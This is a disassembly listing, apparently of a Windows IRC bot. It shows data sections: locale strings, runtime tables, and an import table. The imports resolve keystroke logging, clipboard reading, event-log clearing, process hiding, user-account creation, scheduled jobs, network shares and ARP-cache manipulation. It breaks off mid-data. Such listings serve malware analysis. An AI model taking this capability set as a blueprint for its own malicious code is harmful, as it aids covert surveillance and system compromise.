seg002:004508F4o ; seg002:004509FCo ... aBasque db 'Basque',0 ; DATA XREF: seg002:004508C8o align 10h aSweden db 'Sweden',0 ; DATA XREF: seg002:004508A4o align 4 aSwedish db 'Swedish',0 ; DATA XREF: seg002:0045089Co aIceland db 'Iceland',0 ; DATA XREF: seg002:00450878o aIcelandic db 'Icelandic',0 ; DATA XREF: seg002:00450870o align 4 aFrance db 'France',0 ; DATA XREF: seg002:0045084Co align 4 aFrench db 'French',0 ; DATA XREF: seg002:00450844o ; seg002:00450920o ... align 4 aFinland db 'Finland',0 ; DATA XREF: seg002:00450820o aFinnish db 'Finnish',0 ; DATA XREF: seg002:00450818o aSpain db 'Spain',0 ; DATA XREF: seg002:off_4507F4o ; seg002:004508D0o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: seg002:off_4507ECo align 4 aUnitedStates db 'united-states',0 align 4 aUnitedKingdom db 'united-kingdom',0 align 4 aTrinidadTobago db 'trinidad & tobago',0 align 4 aSouthKorea db 'south-korea',0 aSouthAfrica_0 db 'south-africa',0 align 4 aSouthKorea_0 db 'south korea',0 aSouthAfrica_1 db 'south africa',0 align 4 aSlovak db 'slovak',0 align 4 aPuertoRico db 'puerto-rico',0 aPrChina db 'pr-china',0 align 4 aPrChina_0 db 'pr china',0 align 10h aNz db 'nz',0 align 4 aNewZealand db 'new-zealand',0 aHongKong db 'hong-kong',0 align 4 aHolland db 'holland',0 aGreatBritain db 'great britain',0 align 4 aEngland db 'england',0 aCzech db 'czech',0 align 4 aChina db 'china',0 align 4 aBritain db 'britain',0 ; DATA XREF: seg002:00450CA0o aAmerica db 'america',0 ; DATA XREF: seg002:off_450C98o aUsa_0 db 'usa',0 aUs db 'us',0 align 4 aUk db 'uk',0 align 4 aSwiss db 'swiss',0 align 10h aSwedishFinland db 'swedish-finland',0 aSpanishVenezue db 'spanish-venezuela',0 align 4 aSpanishUruguay db 'spanish-uruguay',0 aSpanishPuertoR db 'spanish-puerto rico',0 aSpanishPeru db 'spanish-peru',0 align 4 aSpanishParagua db 'spanish-paraguay',0 align 4 aSpanishPanama db 'spanish-panama',0 align 4 aSpanishNicarag db 'spanish-nicaragua',0 align 10h aSpanishModern db 'spanish-modern',0 align 10h aSpanishMexican db 'spanish-mexican',0 aSpanishHondura db 'spanish-honduras',0 align 4 aSpanishGuatema db 'spanish-guatemala',0 align 4 aSpanishElSalva db 'spanish-el salvador',0 aSpanishEcuador db 'spanish-ecuador',0 aSpanishDominic db 'spanish-dominican republic',0 align 4 aSpanishCostaRi db 'spanish-costa rica',0 align 4 aSpanishColombi db 'spanish-colombia',0 align 10h aSpanishChile db 'spanish-chile',0 align 10h aSpanishBolivia db 'spanish-bolivia',0 aSpanishArgenti db 'spanish-argentina',0 align 4 aPortugueseBraz db 'portuguese-brazilian',0 align 4 aNorwegianNynor db 'norwegian-nynorsk',0 align 10h aNorwegianBokma db 'norwegian-bokmal',0 align 4 aNorwegian db 'norwegian',0 align 10h aItalianSwiss db 'italian-swiss',0 align 10h aIrishEnglish db 'irish-english',0 align 10h aGermanSwiss db 'german-swiss',0 align 10h aGermanLuxembou db 'german-luxembourg',0 align 4 aGermanLichtens db 'german-lichtenstein',0 aGermanAustrian db 'german-austrian',0 aFrenchSwiss db 'french-swiss',0 align 4 aFrenchLuxembou db 'french-luxembourg',0 align 4 aFrenchCanadian db 'french-canadian',0 aFrenchBelgian db 'french-belgian',0 align 4 aEnglishUsa db 'english-usa',0 aEnglishUs db 'english-us',0 align 4 aEnglishUk db 'english-uk',0 align 10h aEnglishTrinida db 'english-trinidad y tobago',0 align 4 aEnglishSouthAf db 'english-south africa',0 align 4 aEnglishNz db 'english-nz',0 align 10h aEnglishJamaica db 'english-jamaica',0 aEnglishIre db 'english-ire',0 aEnglishCaribbe db 'english-caribbean',0 align 10h aEnglishCan db 'english-can',0 aEnglishBelize db 'english-belize',0 align 4 aEnglishAus db 'english-aus',0 aEnglishAmerica db 'english-american',0 align 4 aDutchBelgian db 'dutch-belgian',0 align 4 aChineseTraditi db 'chinese-traditional',0 aChineseSingapo db 'chinese-singapore',0 align 4 aChineseSimplif db 'chinese-simplified',0 align 4 aChineseHongkon db 'chinese-hongkong',0 align 4 aChinese db 'chinese',0 aChi db 'chi',0 aChh db 'chh',0 aCanadian db 'canadian',0 align 4 aBelgian db 'belgian',0 aAustralian db 'australian',0 align 4 aAmericanEnglis db 'american-english',0 align 10h aAmericanEngl_0 db 'american english',0 align 4 aAmerican db 'american',0 ; DATA XREF: seg002:off_450D50o align 10h off_43AD50 dd offset byte_50434F ; DATA XREF: sub_432630:loc_432683o off_43AD54 dd offset byte_504341 ; DATA XREF: sub_432630+16o dword_43AD58 dd 69736863h, 632E657Ah, 0dword_43AD64 dd 657A6973h, 203D3E20h, 30hdword_43AD70 dd 4E512331h, 4E41hdword_43AD78 dd 4E492331h, 46hdword_43AD80 dd 4E492331h, 44hdword_43AD88 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch ; DATA XREF: sub_433EA0+125o ; seg002:00451008o dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h dd 4D41h, 65636544h, 7265626Dh, 0 aNovember db 'November',0 ; DATA XREF: seg002:00450FF0o align 4 aOctober db 'October',0 ; DATA XREF: seg002:00450FECo aSeptember db 'September',0 ; DATA XREF: seg002:00450FE8o align 4 aAugust db 'August',0 ; DATA XREF: seg002:00450FE4o align 10h aJuly db 'July',0 ; DATA XREF: seg002:00450FE0o align 4 aJune db 'June',0 ; DATA XREF: seg002:00450FDCo align 10h aApril db 'April',0 ; DATA XREF: seg002:00450FD4o align 4 aMarch db 'March',0 ; DATA XREF: seg002:00450FD0o align 10h aFebruary db 'February',0 ; DATA XREF: seg002:00450FCCo align 4 aJanuary db 'January',0 ; DATA XREF: seg002:00450FC8o aDec db 'Dec',0 ; DATA XREF: seg002:00450FC4o aNov db 'Nov',0 ; DATA XREF: seg002:00450FC0o aOct db 'Oct',0 ; DATA XREF: seg002:00450FBCo aSep db 'Sep',0 ; DATA XREF: seg002:00450FB8o aAug db 'Aug',0 ; DATA XREF: seg002:00450FB4o aJul db 'Jul',0 ; DATA XREF: seg002:00450FB0o aJun db 'Jun',0 ; DATA XREF: seg002:00450FACo aMay db 'May',0 ; DATA XREF: seg002:00450FA8o ; seg002:00450FD8o aApr db 'Apr',0 ; DATA XREF: seg002:00450FA4o aMar db 'Mar',0 ; DATA XREF: seg002:00450FA0o aFeb db 'Feb',0 ; DATA XREF: seg002:00450F9Co aJan db 'Jan',0 ; DATA XREF: seg002:00450F98o aSaturday db 'Saturday',0 ; DATA XREF: seg002:00450F94o align 10h aFriday db 'Friday',0 ; DATA XREF: seg002:00450F90o align 4 aThursday db 'Thursday',0 ; DATA XREF: seg002:00450F8Co align 4 aWednesday db 'Wednesday',0 ; DATA XREF: seg002:00450F88o align 10h aTuesday db 'Tuesday',0 ; DATA XREF: seg002:00450F84o aMonday db 'Monday',0 ; DATA XREF: seg002:00450F80o align 10h aSunday db 'Sunday',0 ; DATA XREF: seg002:00450F7Co align 4 aSat db 'Sat',0 ; DATA XREF: seg002:00450F78o aFri db 'Fri',0 ; DATA XREF: seg002:00450F74o aThu db 'Thu',0 ; DATA XREF: seg002:00450F70o aWed db 'Wed',0 ; DATA XREF: seg002:00450F6Co aTue db 'Tue',0 ; DATA XREF: seg002:00450F68o aMon db 'Mon',0 ; DATA XREF: seg002:00450F64o aSun db 'Sun',0 ; DATA XREF: seg002:off_450F60o aAP db 'a/p',0 ; DATA XREF: sub_435310:loc_435503o aAmPm db 'am/pm',0 ; DATA XREF: sub_435310:loc_4354E3o align 10h aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_435830+9Co ; sub_435830+F1o align 10h dword_43AED0 dd 0FFFFFFFFh, 435BF7h, 435BFDh, 0FFFFFFFFh, 435C76h, 435C7Ch ; DATA XREF: seg000:00435AD5o dword_43AEE8 dd 6D6F7477h, 766E6562h, 632Eh, 0dword_43AEF8 dd 0FFFFFFFFh, 43677Dh, 436783h, 0dword_43AF08 dd 0FFFFFFFFh, 43691Fh, 436925hdword_43AF14 dd 6D635F61h, 632E70haCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_4369D0:loc_436B43o align 10h dword_43AF60 dd 0FFFFFFFFh, 436CAFh, 436CB5h, 0FFFFFFFFh, 436D4Dh, 436D53h ; DATA XREF: sub_4369D0+5o dword_43AF78 dd 65746573h, 632E766Eh, 0 ; sub_436E20+F2o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_437360+1Fo dd offset dword_43B078 off_43AF98 dd offset sub_4374E0 ; DATA XREF: sub_4373C0+44o ; sub_437480+1Fo ... dd offset sub_437430 dd offset sub_437450 dd offset dword_43B0C8 off_43AFA8 dd offset sub_437600 ; DATA XREF: sub_437510+16o ; sub_4375B0+Ao ... dd offset sub_437430 dd offset sub_4375D0 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_437660+1Fo dd offset dword_43B118 off_43AFD0 dd offset sub_437740 ; DATA XREF: sub_4376C0+16o ; sub_4376F0+Ao ... dd offset sub_437430 dd offset sub_437710 dd offset dword_43B148 off_43AFE0 dd offset sub_437C40 ; DATA XREF: seg000:00437C1Ao ; sub_437C70+Co ... dd offset sub_437DE0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_437DE0:loc_437DF8o align 4 dd offset dword_43B190 off_43B000 dd offset sub_437E50 ; DATA XREF: sub_437E10+Ao ; seg000:00437F3Ao ... align 8 dword_43B008 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_43B028 dd offset off_451310 ; DATA XREF: seg001:0043B05Co ; seg001:0043B0B0o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_43B040 dd offset off_451328 ; DATA XREF: seg001:0043B058o ; seg001:0043B0ACo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43B040 dd offset off_43B028 dword_43B060 dd 4 dup(0) dd 2, 43B058h dword_43B078 dd 3 dup(0) dd offset off_451328 dd offset dword_43B060+8 align 10h off_43B090 dd offset off_451348 ; DATA XREF: seg001:0043B0A8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43B090 dd offset off_43B040 dd offset off_43B028 dd 0 db 0 ; DATA XREF: seg001:0043B0D8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 43B0A8h dword_43B0C8 dd 3 dup(0) dd offset off_451348 dd offset unk_43B0B8 align 10h off_43B0E0 dd offset off_451368 ; DATA XREF: seg001:0043B0F8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43B0E0 dd offset off_43B040 dd offset off_43B028 dd 0 db 0 ; DATA XREF: seg001:0043B128o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 43B0F8h dword_43B118 dd 3 dup(0) dd offset off_451368 dd offset unk_43B108 dd offset off_43B028 dword_43B130 dd 4 dup(0) dd 1, 43B12Ch dword_43B148 dd 3 dup(0) dd offset off_451310 dd offset dword_43B130+8 align 10h off_43B160 dd offset off_451388 ; DATA XREF: seg001:0043B178o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43B160 dword_43B17C dd 3 dup(0) dd 1, 43B178h dword_43B190 dd 3 dup(0) dd offset off_451388 dd offset dword_43B17C+4 align 8 dword_43B1A8 dd 19930520h, 2, 43B1C8h, 5 dup(0) dd 0FFFFFFFFh, 437FB8h, 0 dd offset sub_437FB0 dword_43B1D8 dd 19930520h, 2, 43B1F8h, 5 dup(0) dd 0FFFFFFFFh, 437FD9h, 0 dd offset loc_437FE1 dword_43B208 dd 19930520h, 2, 43B228h, 1, 43B238h, 3 dup(0) ; DATA XREF: seg000:loc_437FF4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 43B250h, 4 dup(0) dd offset loc_40D8FF dd 0 dd offset off_451310 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437CE0h, 2 dup(0) dd offset off_451328 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4373C0h, 2 dup(0) dd offset off_451348 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437630h, 0 dword_43B2C0 dd 3, 43B2A0h, 43B280h, 43B260hdword_43B2D0 dd 0 ; sub_4375D0+15o dd offset sub_4375B0 dd 0 dd offset dword_43B2C0 dword_43B2E0 dd 19930520h, 1, 43B300h, 5 dup(0) dd 0FFFFFFFFh, 438000h dword_43B308 dd 19930520h, 1, 43B328h, 5 dup(0)dword_43B328 dd 0FFFFFFFFh, 438020h, 2, 43B280h, 43B260h, 0dword_43B340 dd 0 dd offset sub_437480 dd 0 dd offset dword_43B328+8 dword_43B350 dd 19930520h, 1, 43B370h, 5 dup(0) dd 0FFFFFFFFh, 438040h dword_43B378 dd 19930520h, 1, 43B398h, 5 dup(0) dd 0FFFFFFFFh, 438060h, 0 dd offset off_451368 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437770h, 0 dword_43B3C0 dd 3, 43B3A0h, 43B280h, 43B260hdword_43B3D0 dd 0 ; sub_437710+15o dd offset sub_4376F0 dd 0 dd offset dword_43B3C0 dword_43B3E0 dd 19930520h, 1, 43B400h, 5 dup(0) dd 0FFFFFFFFh, 438080h, 2FEh dup(0) seg001 ends ; Section 3. (virtual address 0003C000) ; Virtual size : 000B5000 ( 741376.) ; Section size in file : 000B5000 ( 741376.) ; Offset to raw data for section: 0003C000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg002 segment para public 'CODE' use32 assume cs:seg002 ;org 43C000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_43C000 dd 0 dd offset loc_408638 dd offset loc_40D407 dd offset byte_40F9A3 dd offset sub_4377A0 dword_43C014 dd 0 dword_43C018 dd 0 dd offset sub_41EF20 dd offset sub_41FE90 dd offset sub_4265E0 dd offset sub_4306B0 dword_43C02C dd 2 dup(0) dd offset sub_41F050 align 10h dd offset sub_4306D0 align 10h dword_43C050 dd 0EA60h align 8 dword_43C058 dd 80000002h, 43CD38h, 80000002h, 43CD68h, 80000001h, 43CD38h ; DATA XREF: start+7o dword_43C070 dd 6272h ; seg000:004010CEo aNotice db 'NOTICE',0 ; DATA XREF: sub_40145D+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40145D+16o aS db '%s',0 ; DATA XREF: sub_40145D+3Bo align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40145D+58o aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4014F8+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4014F8+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4014F8+2Bo align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4014F8+38o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4014F8+45o align 10h aModule32first db 'Module32First',0 ; DATA XREF: sub_4014F8+52o align 10h aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4014F8+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4014F8+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4014F8+79o align 4 aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4014F8+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4014F8+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4014F8+A0o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4014F8:loc_401600o align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4014F8:loc_40162Do align 10h aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4014F8+14Ao align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4014F8+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_4014F8+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4014F8+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4014F8+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4014F8+186o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4014F8+193o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4014F8+1A0o align 4 aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4014F8:loc_4016F0o align 10h aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4014F8+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4014F8+20Do align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4014F8+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4014F8:loc_401757o align 10h aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4014F8+270o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4014F8+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4014F8+285o align 10h aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4014F8+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4014F8+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4014F8+2ACo aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4014F8+2B9o align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4014F8+2C6o align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4014F8:loc_40180Ao align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4014F8+31Ao align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4014F8+327o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4014F8:loc_40184Fo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4014F8+35Fo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4014F8+36Co align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4014F8+379o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4014F8+386o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4014F8+393o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4014F8+3A0o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4014F8+3ADo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4014F8:loc_4018FDo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4014F8:loc_401925o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4014F8+43Eo align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4014F8+446o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4014F8+453o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4014F8+460o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4014F8+46Do align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4014F8+47Ao align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4014F8+487o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4014F8+494o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4014F8+4A1o align 10h aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4014F8+514o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4014F8+525o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4014F8+52Do align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4014F8+53Ao align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4014F8+547o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4014F8+554o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4014F8+561o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4014F8+56Eo align 4 aSocket db 'socket',0 ; DATA XREF: sub_4014F8+57Bo align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4014F8+588o aConnect db 'connect',0 ; DATA XREF: sub_4014F8+595o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4014F8+5A2o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4014F8+5AFo align 10h aHtons db 'htons',0 ; DATA XREF: sub_4014F8+5BCo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4014F8+5C9o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_4014F8+5D6o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4014F8+5E3o align 10h aSend db 'send',0 ; DATA XREF: sub_4014F8+5F0o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4014F8+5FDo align 10h aRecv db 'recv',0 ; DATA XREF: sub_4014F8+60Ao align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4014F8+617o align 4 aBind db 'bind',0 ; DATA XREF: sub_4014F8+629o align 4 aSelect db 'select',0 ; DATA XREF: sub_4014F8+631o align 4 aListen db 'listen',0 ; DATA XREF: sub_4014F8+63Eo align 4 aAccept db 'accept',0 ; DATA XREF: sub_4014F8+64Bo align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4014F8+658o align 10h aGetsockname db 'getsockname',0 ; DATA XREF: sub_4014F8+665o aGethostname db 'gethostname',0 ; DATA XREF: sub_4014F8+672o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4014F8+67Fo align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4014F8+68Co align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_4014F8+699o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4014F8+6A6o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4014F8:loc_401CD7o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4014F8+7F0o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4014F8+7F8o aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4014F8+805o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4014F8+812o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4014F8+81Fo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4014F8+82Co align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4014F8+839o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4014F8+846o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4014F8+853o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4014F8+860o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4014F8+8D2o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4014F8:loc_401DF7o align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4014F8+90Co align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4014F8+914o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4014F8+921o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4014F8:loc_401E56o align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4014F8+96Fo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4014F8+977o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4014F8+984o align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4014F8+991o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4014F8+99Eo align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4014F8+9ABo align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4014F8+9B8o align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4014F8+9C5o align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4014F8+9D2o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4014F8+9DFo align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4014F8+9ECo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4014F8+9F9o aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4014F8:loc_401F72o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4014F8+A87o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4014F8+A8Fo align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4014F8:loc_401FBCo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4014F8+AD1o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4014F8+AD9o align 4 aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4014F8:loc_402006o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4014F8+B1Bo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4014F8+B23o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4014F8+B30o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4014F8+B3Do align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4014F8:loc_40207Ao aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4014F8+B8Fo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4014F8+B97o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4014F8:loc_4020C4o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4014F8+BD9o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4014F8+BE1o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4014F8+BEEo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4014F8+BFBo align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4014F8+C08o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4014F8+C15o align 4 aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+28o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+5Co aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+90o align 4 aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+C4o align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+F8o aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40216A+12Co align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40216A+160o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+194o align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40216A+1C8o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40216A+1FCo align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+230o align 4 aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+264o align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+298o dword_43CA98 dd 35310302h, 25B302Ch, 91323003h, 1F343003h, 611F4D02h ; DATA XREF: sub_40216A+2BEo dd 3026E69h, 32C3230h, 33A3531h, 44202032h, 4C024C02h dd 65027420h, 20747302h, 6F024302h, 6C02706Dh, 65746502h dd 2Eh dword_43CAD8 dd 2Eh dword_43CADC dd 2Eh dword_43CAE0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h ; DATA XREF: sub_402533+8Co dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h a2ErrorGettingA db '2 error getting ARP cache: %d',0 align 4 dword_43CB28 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h ; DATA XREF: sub_402533:loc_4025C6o dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h a2UnableToAlloc db '2 unable to allocate ARP cache',0 align 10h dword_43CB70 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 1F6C0246h ; DATA XREF: sub_402533:loc_40258Co dd 2731F75h, 1F640248h, 3731F6Eh, 32C3230h, 33A3531h a2ArpCacheIsEmp db '2 ARP cache is empty',0 align 10h dword_43CBB0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 